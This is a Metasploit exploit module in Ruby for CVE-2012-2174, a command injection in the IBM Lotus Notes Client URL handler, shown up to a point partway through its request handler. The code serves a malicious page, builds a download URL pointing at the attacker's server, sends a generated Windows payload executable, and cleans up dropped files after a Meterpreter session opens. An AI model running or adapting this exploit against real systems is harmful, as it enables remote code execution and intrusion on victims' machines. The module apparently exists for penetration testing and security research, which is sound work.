##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info={})
super(update_info(info,
'Name' => "IBM Lotus Notes Client URL Handler Command Injection",
'Description' => %q{
This modules exploits a command injection vulnerability in the URL handler for
for the IBM Lotus Notes Client <= 8.5.3. The registered handler can be abused with
an specially crafted notes:// URL to execute arbitrary commands with also arbitrary
arguments. This module has been tested successfully on Windows XP SP3 with IE8,
Google Chrome 23.0.1271.97 m and IBM Lotus Notes Client 8.5.2.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Moritz Jodeit', # Vulnerability discovery
'Sean de Regge', # Vulnerability analysis
'juan vazquez' # Metasploit
],
'References' =>
[
[ 'CVE', '2012-2174' ],
[ 'OSVDB', '83063' ],
[ 'BID', '54070' ],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-154/' ],
[ 'URL', 'http://pwnanisec.blogspot.com/2012/10/exploiting-command-injection.html' ],
[ 'URL', 'http://www-304.ibm.com/support/docview.wss?uid=swg21598348' ]
],
'Payload' =>
{
'Space' => 2048,
'StackAdjustment' => -3500
},
'DefaultOptions' =>
{
'EXITFUNC' => "none",
'InitialAutoRunScript' => 'migrate -k -f'
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', {} ]
],
'Privileged' => false,
'DisclosureDate' => "Jun 18 2012",
'DefaultTarget' => 0))
def exploit
@exe_name = rand_text_alpha(2) + ".exe"
@stage_name = rand_text_alpha(2) + ".js"
super
end
def on_new_session(session)
if session.type == "meterpreter"
session.core.use("stdapi") unless session.ext.aliases.include?("stdapi")
end
@dropped_files.delete_if do |file|
win_file = file.gsub("/", "\\\\")
if session.type == "meterpreter"
begin
wintemp = session.fs.file.expand_path("%TEMP%")
win_file = "#{wintemp}\\#{win_file}"
# Meterpreter should do this automatically as part of
# fs.file.rm(). Until that has been implemented, remove the
# read-only flag with a command.
session.shell_command_token(%Q|attrib.exe -r "#{win_file}"|)
session.fs.file.rm(win_file)
print_good("Deleted #{file}")
true
rescue ::Rex::Post::Meterpreter::RequestError
print_error("Failed to delete #{win_file}")
false
end
end
end
end
def on_request_uri(cli, request)
if request.uri =~ /\.exe$/
return if ((p=regenerate_payload(cli))==nil)
register_file_for_cleanup("#{@stage_name}") unless @dropped_files and @dropped_files.include?("#{@stage_name}")
register_file_for_cleanup("#{@exe_name}") unless @dropped_files and @dropped_files.include?("#{@exe_name}")
data = generate_payload_exe({:code=>p.encoded})
print_status("Sending payload")
send_response(cli, data, {'Content-Type'=>'application/octet-stream'})
return
end
my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
if datastore['SSL']
schema = "https"
else
schema = "http"
end
uri = "#{schema}://#{my_host}"
uri << ":#{datastore['SRVPORT']}#{get_resource()}/#{rand_text_alpha(rand(6)+3)}.exe"
